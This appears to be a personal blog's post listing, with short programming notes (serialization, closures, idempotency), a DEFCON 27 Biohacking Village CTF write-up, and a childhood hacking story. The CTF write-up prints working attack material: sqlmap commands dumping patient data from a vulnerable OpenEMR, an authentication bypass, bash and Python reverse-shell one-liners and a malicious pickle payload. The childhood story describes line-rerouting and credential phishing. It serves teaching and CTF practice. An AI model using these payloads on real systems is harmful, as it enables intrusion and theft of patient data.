Skip to main content

· One min read

This post is the second part of the Ramson series. Make sure you've read Ramson, part 1.

As dicussed before, Ramson is a JSON schema that serializes and deserializes JS/ECMAScript objects precisely as they were in memory.

For example, consider the following Javascript code:

var state = { foo: 1 };
var counter = 0;
function next_val() {
counter = counter + 1;
return counter;
var root = { state: state, next_val: next_val };

Let's focus on how to serialize the next_val function. A Javascript function is comprised of its source code, along with its scope.

Scope is the collection of variables defined in a function, along with a reference to its enclosing scope, the scope of the function's parent function scope. The enclosing scope is referenced even if the parent function has returned. A top-level function's enclosing scope is the of its module.

Assume we could access each function's scope, through a function's $$scope property. To properly chain enclosing scopes, we could utilize prototype.

So in the aforementioned example,

  • next_val.$$scope would be empty, since next_val doesn't define any variables,
  • next_val.$$scope.prototype would contain counter, and state, and
  • next_val.$$scope.prototype.prototype would be undefined.

· 2 min read

Ramson is a JSON schema that serializes and deserializes JS/ECMAScript objects precisely as they were in memory.

For example, consider the following Javascript code:

var state = { foo: 1 };
var root = { a: state, b: state };

root.a and root.b refer to the same object, such that setting and setting are equivalent operations.

However, if we were to serialize and deserialize example using JSON.stringify and JSON.parse, root.a and root.b would no longer be the same object, and setting would no longer also set

JSMemON solves this by by assigning tags to each value. Specifically, for each value, v, that's being serialized,

  • if v, is string, number, boolean, undefined, or null, serialize it as is,
  • if v, has no reftag, assign one, and serialize the value including an extra $$def_reftag field 1,
  • if v, has a reftag, serialize only a reference to the reftag as $$ref_reftag, eluding the actual value.

A reftag (reference tag) can be any string or numerical identifier that uniquely identifies an instance of an object. For example, one could use the actual memory address of the value in the JS interpreters memory, a hash of the value, or just an incremental counter.


For example, the example object from the aforementioned example could become:

{ "a": { "$$def_reftag": 1, "foo": 1 }, "b": { "$$ref_reftag": 1 } }

Recursive Objects

Consider that we also set example.self_ref = example. Whereas JSON.stringify would throw a "Converting circular structure to JSON" error, Ramson would serialize it as

{ "$$def_reftag": 1, "a": { "$$def_reftag": 2, "foo": 1 }, "b": { "$$ref_reftag": 2 }, "self_ref": { "$$ref_reftag": 1 } }

Further work

This initial draft only covers strings, numbers, booleans, undefined, null, and objects. Given this, arrays are also trivial, but require finetuning the output schema. Functions, classes, and other exotic JS objects such instances of Promise, ArrayBuffer, and others will be explored in a future post.


  1. This assumes all values that are not string, number, boolean, undefined, or null are objects, but there are arrays too...

· One min read

Just spitballing something I have been thinking about increasingly often.

Many problems arising from humans interacting with computing systems occur because at a digital level it’s impossible to identify if a human or a computer caused an action to occur. Think of spam, banking fraud, or even DDOS sttacks.

Of course, expecting a boolean answer to the question "was this action caused by a human or a computer", doesn’t cover all the intricacies. For example, of a recurring bank transfer, or mailmerge.

What if we could measure how much human attention was consumed for something to be generated?

For example, generating a template for a mail merge would need 10 braincycles, since a human would need to work on it for a while.

But the action of mail merging the template and generating N mails, means that the content of each email is worth only 1 braincycle (or some fraction of the 10 braincycles of the template).

At the very least, this would be a good metric to sort my inbox -- if your email contains only 1 braincycle, it means you didn’t spend that much time (attention/braincycles) to generate it, therefore I shouldn’t spend much time either.

· One min read

A record of every reference a function utilizes.

Here's a small example:


function example(x, y) {
let sum = x + y;
document.getElementById("span-for-result").innerHTML = sum.toString();

The closure is [x, y, document].

· One min read

A continuation reifies a program's control state.

It's a data structure that represents the computational process at a given point in the process's execution.

Continuations are useful for encoding other control mechanisms in programming languages such as exceptions, generators, coroutines, and so on.

The "current continuation" or "continuation of the computation step" is the continuation that, from the perspective of running code, would be derived from the current point in a program's execution. The term continuations can also be used to refer to first-class continuations, which are constructs that give a programming language the ability to save the execution state at any point and return to that point at a later point in the program, possibly multiple times.

· One min read

Every attack on information infrastructure takes the following form:

  • Reconnaissance
  • Weaponization
  • Delivery
  • Exploitation
  • Persistence
  • Actions on Objectives

Lockheed Martin popularized this list as a Cyber Killchain.

The key is that it's a chain, therefore weakening any part of it, weakens the chain. The "defense in depth" directive of any infosec approach is informed by this fact.

· One min read

An operation (function) is idempotent if and only if, multiple applications (executions) of it do not change anything beyond the first application (execution).

Consider, console.log('test'), for example.

It isn't idempotent, because multiple applications of it change the state of the screen beyond the first execution.

However, given the following function, idempotent_log('id_0', 'test') is idempotent:

const logged_keys = [];
function idempotent_log(idempotency_key: string, args: any...) {
if (logged_keys.indexOf(idempotency_key) == -1) {

I always like to think of idempotency in terms of a "lifetime"1. A lifetime is a property of every datum. Specifically, a datum's lifetime begins when it is created and ends when it is destroyed.

In the aforementioned example, idempotent_log('id_0', 'test') is idempotent within the lifetime of logged_keys.

Lastly, please note that the closure of idempotent_log('id_0', 'test') is ['id_0', 'test', logged_keys, console].



· One min read

A record of every reference a function utilizes.

Here's a small example:


function example(x, y) {
let sum = x + y;
document.getElementById("span-for-result").innerHTML = sum.toString();

The closure is [x, y, document].

· 17 min read

This is a write-up of some of the challenges at the DEFCON 27 Biohacking Village CTF.

I didn't plan on joining a CTF, but I ended up getting sucked in and spending the next 2 days on it. The instant gratification of ranking on the scoreboard offered a better rush than any Las Vegas casino game. I ended up getting 2nd place, and considering I was completely unprepared, I'm very happy with it.

Despite meddling with the competitive programming world, this was my first CTF. I didn't keep notes in preparation of a write-up, and as such, this is a partial write-up of some of the most memorable challenges I solved. I go in detail on my thought process for solving some of these challenges, including any erroneous routes.

A CTF (Capture The Flag) is a competition, usually hosted at information security conferences. It's a set of challenges of increasing difficulty, across various skills (reverse engineering, crypto, network analysis, etc). Solving an individual challenge, means finding a “flag” 🚩 that's either the result of some computation, or hidden somewhere in a targeted system (software, hardware, hints hidden in the room). You can play alone, or you can form a team.

Following along

This post is meant for someone with engineering background, but with little knowledge of infosec or CTF particulars.

If you have some systems engineering background, you should be able to follow along my instructions--I have even made some Docker images for you to attack!

Biohacking Village at DEFCON

The CTF organizers at the Biohacking Village took a lot of time to build a fun theme that was welcoming to challengers of all levels, and the CTF theme was eminent throughout the Biohacking Village room. The imaginary St. Martin's Hospital was under attack in all kinds of ways--and the room was decorated like a hospital, complete with a pharmacy, all kinds of working medical devices, and even a gurney (that was part of a physical/puzzle challenge)! Contestants were kept on their toes for all 20 hours of the CTF, as challenges were unlocked gradually.

pcap challenges

Many of the first round challenges required a basic understanding of the underlying protocols, such as BACNET, and DICOM.

Several of the challenges provided you a Wireshark pcap file, and tasked you to identify specific interactions in the network--for example, the client name used during a DICOM authentication attempt, or the pcap index at which an attack first appeared.

Even if you had zero prior knowledge, looking around carefully in Wireshark along with some Google searches was sufficient to lead you to the right answer.

One of these challenges indicated that the flag was hidden in someone's BACNET authentication attempt--the provided pcap was Are_you_my_mother.pcapng. Go get Wireshark (or just brew cask install wireshark on your Mac) and use bacnet as a filter---you can try finding the flag too!

Some of the challenges exchanged traffic in non-standard ports--remembering to correctly map a custom port to a known protocol was essential to solving these challenges.

As these challenges were solved, more challenges were unlocked requiring SQL injection and reverse engineering skills.

Data Exfiltration via IoT Lights


My favorite challenge was the "Light Exfil" challenge. The task prompt read:

A malicious actor has gained access to the hospital’s networks. Using the lighting system, the attacker is exfiltrating data by slightly fluctuating the lighting brightness and collecting the data with a phototransistor directed at an external window from the adjacent parking structure. The attached pcap file is a small portion of the stolen data. You have to determine the binary data which was exfiltrated.

Answer the question below to demonstrate an understanding of the attack.

What ASCII data are they trying to exfil through the lights?

This is very similar to some of the airgap-jumping exflitration attacks described by Mordechai Guri.

A Wireshark pcap file was provided for analysis: bacnetlightingxfil.pcap.

Go get Wireshark (or just brew cask install wireshark on your Mac) and follow along! C'mon!

By opening the pcap file in Wireshark and filtering for bacnet, I was greeted with 1590 packets:

Identifying the signal

By scrolling around, I noticed a handful of writeProperty and confirmedPrivateTransfer packets standout among all the read operations.

To filter only for the requests (Confirmed-REQs, as opposed to Simple-ACKs), and then consecutively for writeProperty and confirmedPrivateTransfer I used these filters:

  • (bacnet) && (bacapp.type == 0) && (bacapp.confirmed_service == 18)
  • (bacnet) && (bacapp.type == 0) && (bacapp.confirmed_service == 15)

The results were interesting:

  • confirmedPrivateTransfer (confirmed_service == 18) yielded 84 packets
  • writeProperty (confirmed_service == 15) yielded 32 packets
    • 32 happens to represent 4 bytes in binary
    • A bit short for a flag, but not impossible, especially if the CTF author intended for this to be solved by hand.

Furthermore, some research into controlling lights via BACNET indicated writeProperty would be indeed how you'd fluctuate brightness. However, at this point, I wasn't entirely certain writeProperty was the right path.

I couldn't find a trivial way to export the values from Wireshark, and in trying to plan for a future where I had to decode the confirmedPrivateTransfer packets, I cooked up a Python script utilizing pyshark to work with the pcap file.



import binascii
import pyshark

set_brightness_cap = pyshark.FileCapture('bacnetlightingxfil.pcap',
display_filter='bacnet && (bacapp.confirmed_service == 15) && (bacapp.type == 0)'

vals = [ int(packet.bacapp.present_value_real) for packet in set_brightness_cap ]

print("\t".join(map(str, vals)))


90	89	100	99	90	89	100	90	89	90	100	99	90	89	90	89	90	89	100	99	90	89	90	100	90	89	100	99	100	90	89	100

This seems very promising! At first hand, the existence of 4 digits (89, 90, 99, 100) went against my expectations for a binary encoding scheme, so I plotted the values:

Decoding the signal

I lost some time considering alternative encodings, such as ternary encodings, because 4 bytes for a flag seemed too small. 🔑 Keep It Simple Stupid and iterating through your assumptions was key here.

Using multiple brightnesses for each binary digit would make sense. It'd be easier for a photoresistor to detect a change in brightness than to precisely count how many seconds of 100 brightness it saw.

There is some obvious grouping in the values above---using 95 as a threshold, we translate them to binary digits:

encoded_bits = [ 1 if x>95 else 0 for x in vals ]

And then we convert the binary to ASCII with:

n = int('0b%s' % "".join(map(str, encoded_bits)), 2)
res = binascii.unhexlify('%x' % n)

which yields:


2019 was indeed the flag 🚩, which got me another 200 points 🎉!

OpenEMR (SQL Injection)

Introduction & how to follow along

Another challenge involved reproducing data exfiltration from an OpenEMR instance. The prompt was clear on what the flag was--a patient's social security number. Contestants were given access to a shared OpenEMR installation on the CTF's local network.

To follow along:

A quick aside, for you 💻🐱s: if you want to follow along, you can quickly bring up a vulnerable OpenEMR I made for you at at http://localhost:8666/ via Docker by running:

git clone && cd vulnerable-openemr && docker-compose up

This isn't the same OpenEMR used at the CTF, but it's sufficiently vulnerable to follow along my methodology here. The instructions here refer to the vulnerable OpenEMR my Docker image provides at localhost:8666 so you can follow along.

Looking through the Docker image instructions reveals passwords. The idea is to treat the instantiated Docker container as a black box, accessible only over the network.

Let's learn about a bit about the tooling and the thinking behind taking advantage an SQL injection vulnerability!

Looking for a way in

A quick search revealed that many listed vulnerabilities exist for OpenEMR (and it's written in PHP).

I tried some default usernames and passwords (admin/pass and the like), but that didn't seem to work. Talking with the CTF designers later on, I learned that were were other defaultish accounts (such as clinician with default passwords), which could have simplified this task, without resorting to SQL injection.

Next up, it was important to identify the exact version of OpenEMR the CTF environment was using. OpenEMR is open-source, so I cloned their repo, and looked around for interesting files that could disclose a version string. admin.php and setup.php stood out.

admin.php indeed disclosed what version of OpenEMR the CTF was running, which helped me find known vulnerabilities. lists many remotely-exploitable no-authentication-needed vulnerabilities.

I spent sometime looking into the pull request that fixed an SQL injection vulnerability in interface/forms/eye_mag/save.php. It seemed feasible, but the execution path to trigger the vulnerability had a variety of variables that needed to be set.

I looked for different SQL injection vulnerabilities, and a CVE of multiple SQL injections and authentication bypasses, CVE-2018-15152, stood out. The portal/add_edit_event_user.php patch seemed particularly interesting, because it wasn't in nested ifs, and little code preceded it---this meant triggering the faulty code-path should be easier.

The vulnerability I'm trying to take advantage is this:careless code in portal/add_edit_event_user.php injects whatever eid input I give it into SQL code that's sent to the database, without any escaping. This means that a carefully crafted eid input can cause the MySQL server to execute code that it thinks is coming from the application.

Let's try to exploit that!

Running curl -v http://localhost:8666/portal/add_edit_event_user.php redirects us to an authentication page 😟.

< HTTP/1.1 302 Found
< Set-Cookie: PHPSESSID=4a927fc0c27b0c4ecb48f9962deb2d66; path=/
< Location: index.php?site=&w

At this point, I decided to clone OpenEMR at the commit right before they fixed the vulnerability: git clone && cd openemr && git checkout f5310b22bb14c58063aecb1cad4655e885eba275.

The vulnerable code at line 26 requires for the pid (I'm guessing patient id) variable to be set in the session, before the rest of the code is executed. To successfully leverage eid's vulnerability, we need to have a pid set in the session. Session variables are usually set by server-side code, so...

I ran grep -Ri "_SESSION\['pid'\] =" * in openemr/portal to see where this pid gets set:

account/register.php:$_SESSION['pid'] = true;
get_patient_info.php: $_SESSION['pid'] = $auth['pid'];
index.php: $_SESSION['pid'] = true;

account/register.php seems like a very interesting possibility. Let's just try going to portal/account/register.php, keeping the session cookie, and then going to portal/add_edit_event_user.php`:

curl --cookie-jar gimmepid.cookies -v http://localhost:8666/portal/account/register.php
curl --cookie gimmepid.cookies -v http://localhost:8666/portal/add_edit_event_user.php

Success 👍! The last curl call returned a bunch of HTML, which looks like a user interface for editing an appointment! We've bypassed the minimal authentication check in add_edit_event_user.php!

Let's make sure that eid is indeed injectable by injecting some bad SQL: curl --cookie gimmepid.cookies http://localhost:8666/portal/add_edit_event_user.php\?eid\=\':

Query Error

ERROR: query failed: SELECT pc_facility, pc_multiple, pc_aid,
FROM openemr_postcalendar_events
LEFT JOIN facility ON (openemr_postcalendar_events.pc_facility =
WHERE pc_eid = '--Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''--' at line 4/var/www/localhost/htdocs/openemr/portal/add_edit_event_user.php at 121:sqlQuery

Sweet! Not only does our input, eid, make it directly to the MySQL server, but we have a direct view of the error the MySQL server returns. This will make things a lot easier! We now have a legitimate way into the database!

Discovering sqlmap

At this point of time, I was trying things manually, using curl. I eventually discovered sqlmap which is an automatic SQL injection and database takeover tool. It greatly helped with the next stage!

For sqlmap to work, it needs an example request to attempt SQL injections against. The request we generated via curl above will do, but we need it in a file. There are easier ways to do this, but I just ran curl -v --cookie gimmepid.cookies http://localhost:8666/portal/add_edit_event_user.php\?eid\=1 2>&1 | grep "^>" and trimmed the > prefix. The resulting eidinject.req file looked like this:

GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: localhost:8666
Accept: */*
Cookie: PHPSESSID=7c843b79daa05ad988fc7911e25d2812

Finding the flag

An invocation of sqlmap eidinject.req --threads=10 --tables quickly revealed that eid is easily injectable to a MySQL server, with some very interesting table names. The task was clear that we needed to find a specific patient's social security number, which seems to be stored in the ss column in patient_data.

To retrieve it: sqlmap -r eidinject.req --threads=10 -D openemr -T patient_data --dump. (Try following along with the Docker image---I hid an SSN in the database).


Another interesting challenge involved "MedMonitor", a custom webapp that tracked patient's data from medical devices. It was written in Python with a Microsoft SQL backend, and the source code of the app was shared in the CTF:

The challenge was broken into 3 parts--the last part involved reverse engineering a medical device's firmware, I didn't get to it, and it won't be covered here.

Part 1 - SQL Injection without verbose errors

The first task of the challenge directed you to find some data hidden in the webapp's database. It was another SQL injection task, although this time the errors returned by the webapp weren't as detailed, so queries were a bit harder to execute. The key SQL injection point was the New Patient form.

sqlmap seemed to be extracting data character-by-character, and I felt like I didn't have time to go through its documentation. I realized that a way to exflitrate data would be to do SELECT queries, have their result be a single string, and have that used as the New Patient's name, SSN, etc.

After some scrambling with Microsoft SQL-specific queries, I eventually discovered a table called flag with something flag-like in it. When I submitted it the system rejected it, and I got extremely anxious. I was very certain that this was the flag, so I alerted the CTF organizers who fixed a configuration error, and asked me to resubmit the flag. 🚩 150 more points!

Part 2 - Remote Code Execution

This part was more interesting than the last one. The flag was somewhere in the filesystem, and the webapp's source code was known. I took a look at the entirety of the shared source code, and noticed that the import pickle. Unpickling user-supplied values in Python can cause remote code execution, because the the unpickling protocol can encode any Python operation, not just values!

An abbreviated that just unpickles user-supplied input, without needing to access a Microsoft SQL server is:

(You can follow along by downloading this and running it!)

Our task now becomes to start a reverse shell using that ingress vector.

I had a lot of trouble with this--- although some "bombs" (carefully crafted data to cause the unpickling process to do something to the system) worked locally, when I tried applying to the CTF environment they'd fail. Not having any kind of verbose error output made this very difficult.

My initial goal was to run bash -i >& /dev/tcp/my_ip_in_the_ctf_network/8888 0>&1 which would cause a bash session on the MedMonitor server to be forwarded to me.

Using some random blog as a reference I hand crafted a pickle that would execute os.system("bash -i >& /dev/tcp/my_ip_in_the_ctf_network/8888 0>&1").

This was failing, and I'm assuming it's because the MedMonitor server was running in Docker, or something with a limited /dev device tree.

Since the webapp is in Python, for a while I tried causing Python to start a remote shell by causing it to execute:

import socket,subprocess,os

However, I couldn't find a trivial way to import custom classes in the pickle protocol, so I resorted to causing the pickle to run os.system with python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'.

The pickle for that is:

(S'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);\''

While I was iterating through the pickle bomb, I wrote a quick Python script to submit it:

import requests
import base64

data = open("bomb.pickle", "r").read()
encoded = base64.b64encode(data)
'token': encoded,
'patient_name': "test",
'patient_data': "lol"
# r = requests.get("", params = PARAMS)
r = requests.get("http://localhost:5001/register_patient", params = PARAMS)

Using the aforementioned picklebomb I was able to start a reverse shell to my machine. A file at /flag/flag.txt was the obvious place to look for a flag! 🚩 200 more points!

DICOM Authentication Challenge

In this task, you were confronted with an insecurely configured PACS server (Orthanc, in particular), and you were asked to prove it's vulnerable by finding the Referring Physician's Name for a patient study.

💡Attending other events by the CTF organizers can be useful! In one of the workshops one of CTF organizers held, many DICOM weaknesses were discussed.

At the workshop I learned that DICOM authentication is very weak--it only depends on knowing the server name (Application Entity Title, or AE Title, or AET) and the client name (Client AE Title).

The task prompt included a pentest report, which included several hints. The first was that the PACS server's uses a predictable AET, and that the server's name is hippocrates.

This made me suspect that the Server AET was a variation of hippocrates, so I used the git version of ncrack to try out some obvious variations. This was something I learned to do just a day before, by attending a workshop held by one of the CTF organizers, @ithilgore!

Having confirmed that the Server AET is indeed hippocrates, the next step would be to brute-force the Client AET, and extract the Referring Physician's Name.

The skeleton for this code was worked on during the aforementioed workshop, and it ended up looking like this:

A big portion of making this code work was around making it multi-threaded with timeouts, because in case of a failed authentication pydicom times out after several seconds, instead of returning immediately with an authentication error.

My strategy was to run my script in iterations, with a limited alphabet---all uppercase, all lowercase, combination of these, and then numbers. This seemed to map the most likely formats of hostnames.

It was a winning strategy, because after a short whole of running with only uppercase, I discovered that an acceptable Client AET was BRAD. Not a random name... this was the name of the IT person who insecurely configured the PACS server to begin with, and it was mentioned several times in the pentest report 😐.

💡 Reminder for next time: try obvious values, and read between the lines of the CTF artifacts better.


Ultimately, I ranked 2nd, behind a very talented team of four pentesters from a Big Four firm.

The winners won a BladeRF XA4 and eternal bragging rights! Congratulations again!

  • Things going for me
    • Prior knowledge of BACNET protocol
    • Attending a Biohacking Village workshop, and learning a bit about DICOM before the CTF
    • Having friends in the room
  • Things against me and ways to improve it
    • Slow connection to the CTF network
      • An Ethernet adapter for my USB-C-only MacBook would've helped
    • Slow connection to the Internet
      • Hotspot in a setup that allows concurrent access to CTF network and Internet
    • Team of one
      • Recruit folks ahead of time
    • No strategy
      • 💡 Withhold flags until key points of time (end of each day, end of the CTF) to induce complacency in other teams
    • Getting coffee, or anything to drink took forever
      • Bring a six-pack of Red Bull

Thank you to @DC_BHV, @ithilgore, @DaniloNC, @beauwoods, and all the organizers for this year's Biohacking Village, and the awesome CTF!

· 7 min read

This is the story of my first hack, more than a decade ago. Back then, I was around 12, and I was living with my parents who had a strict one-hour-per-week rule for the Internet. I used to batch-download everything I wanted to read, and make a text file of all the links I wanted to read next week. But this didn't sit well with me. With just reconnaissance and some coding I managed to use my neighbor's phone line and my school's dial-up connection to get online without my parents knowing.

In trying to demonstrate the generic process involved in most hacks, I have shared this story at companies with wide-ranging security concerns like OpenAI, and smaller startups in the San Francisco Bay Area and Israel.

If you'd rather hear me tell this story, there's a video recording from one of the times I shared this story at a company:

This story is about a confluence of events. It took place in Thessaloniki, Greece, which is where I grew up.

Before I write more, I have to point out that the statute of limitations has passed in all relevant jurisdictions...

So, I grew up in a condo building that looked like this:

Just kidding, it actually looked like this:

Step 1: Gossipy Neighbor

The important thing to know about these buildings is that, usually, there are two condos per floor. So you get to know your neighbor very very very well. One day, I overheard our neighbor discussing that of course she doesn't pay her bills herself---she has an accountant.

To 12-year-old Ian, this was very surprising! My father is the kind of person that would go through the phone bill every month, line-by-line, to ensure there was no fraud or abuse.

Also... as a way to enforce my weekly quota of one hour of dial-up internet per week.

Furthermore, this neighbor used a special locking mechanism for her windows--sharing a floor, it was very easy to peak over the balcony and see if this special mechanism was engaged. I also realized that, unlike my paranoid family, she only used it when she went on long trips.

Thus far, just by observing (we'll call this reconnaissance later on), I had two key pieces of information:

  1. Our neighbor had no auditing capabilities off her phone bill, and
  2. I could easily discern when she'd be gone for a long time.

Step 2: Growing Tall Enough---Developing a Capability

A few months after these realizations, I developed a new capability: I became tall enough to reach into the unlocked junction box at the entrance of our building 😂.

So, suddenly, I had a new capability which was, literally, just tiptoeing and reaching to the junction box where all the phone lines from the street come into the building, and they get routed to each condo.

In the United States, these junctions boxes look like this:

All you need to know is that the short metal bars in the middle are bridging clips.

Bridging clips connect the incoming phone line from the street from the left-hand side, to the building wiring that goes into a condo on the right-hand side.

So with some physical access, and some elbow grease it was very easy to reroute anybody's line into anybody's condo.

Of course, if this is something you wanted to do covertly and routinely you could build "bridging plugs"---basically a block of wood, some nails, and some copper wire. With such a bridging plug, you could very easily re-route your neighbor's phone line into your condo.

Thus far, we have an "unmonitored" phone line--remember that my objective here was to have more than one hour of internet per week.

Step 3: Phishing for Credentials

Having a phone line, the next step was getting someone's dial-up access. (I'm pretty sure that my father also checked the logs from the dial-up we got through his employer). At the time, this is how you connected to the Internet:

At my school, we had two computers running Windows 95 that were able to connect to the Internet.

I used Visual Basic (which may be the most embarrassing part of this post) to make a mock dialog that looked identical to the Windows 95 Dial-Up dialog.

It was supposed to take the supplied username and password, save it in a text file, and then start the real dial-up connection dialog, hide it, insert the supplied username and password, and "dial", so that it'd actually try to dial.

The next time I got to use one of the computers with the Internet at my school, I disconnected the dial-up, ran my mock dialog, and called the teacher over to type the username and the password.

It actually crashed instead of triggering the real dial-up, but it crashed after it saved the username and password in the text file. The teacher just assumed there was some glitch, started the real dial-up connection, and we both went our merry ways.

Merrily Using Free Internet

For many years I used to use the bridging plug, to switch my parents' phone line for my neighbor's phone line. Using the school's dial-up credentials was incredible, because the dial-up provider kindly called you back, so that all phone charges would be paid by the central government instead of each school (or my neighbor).

What can we learn?

This is a nice story, and I hope you laughed, but what can we learn?

Just by being observant, and by being a bit willing to imitate horrible UI, I was able to escalate my access and get unmonitored internet access.

Although this happened some 18-19 years ago, there are some infosec principles that are very simple to apply, and would have prevented this type of attack.

Loose lips sink ships

Be mindful when sharing any kind of operation detail. You never know who's listening and why.

Physical access is king

There are very few gadgets or pieces of technology, that can withstand an attack if you can get your hands on it. This means some things about insider threats and supply chains, but the important thing to remember is that physical access is king.

Access Control Lists or 2FA exists for a reason

If anything in this series of attacks had any kind of access control (e.g. a lock on the junction box, 2FA on the dial-up, or restricting from which phone numbers you could access the dial-up) my chain of attack would have been foiled.

In companies, this often means asking "why do you need this" when someone's requesting new access, or "why" when someone's trying to access something, from a new IP, or a new location.

Disrupt the Cyber Killchain

Aside from the specifics, we can learn something more generic from this attack: every attack on information infrastructure takes the following form:

  1. Reconnaissance
  2. Weaponization
  3. Delivery
  4. Exploitation
  5. Persistence
  6. Actions on Objectives

Lockheed Martin popularized this list as a Cyber Killchain. The key is that it's a chain, and weakening any part of it, weakens the chain. Which is in infosec we often talk about "defense in depth"---to give a practical example: just because you have a firewall at your network's perimeter doesn't mean you shouldn't restrict traffic within your network.

It also means that we should think abstractly about ways we can interfere with an attacker's cyber killchain, starting from reconnaissance all the way down to persistence.

Depending on the specifics of the attackers your organization faces, you may have to make odd trade-offs, and I'll be writing about some of the odd trade-offs I've made in upcoming posts.

This was the story of my first hack, which happened over 18-19 years ago!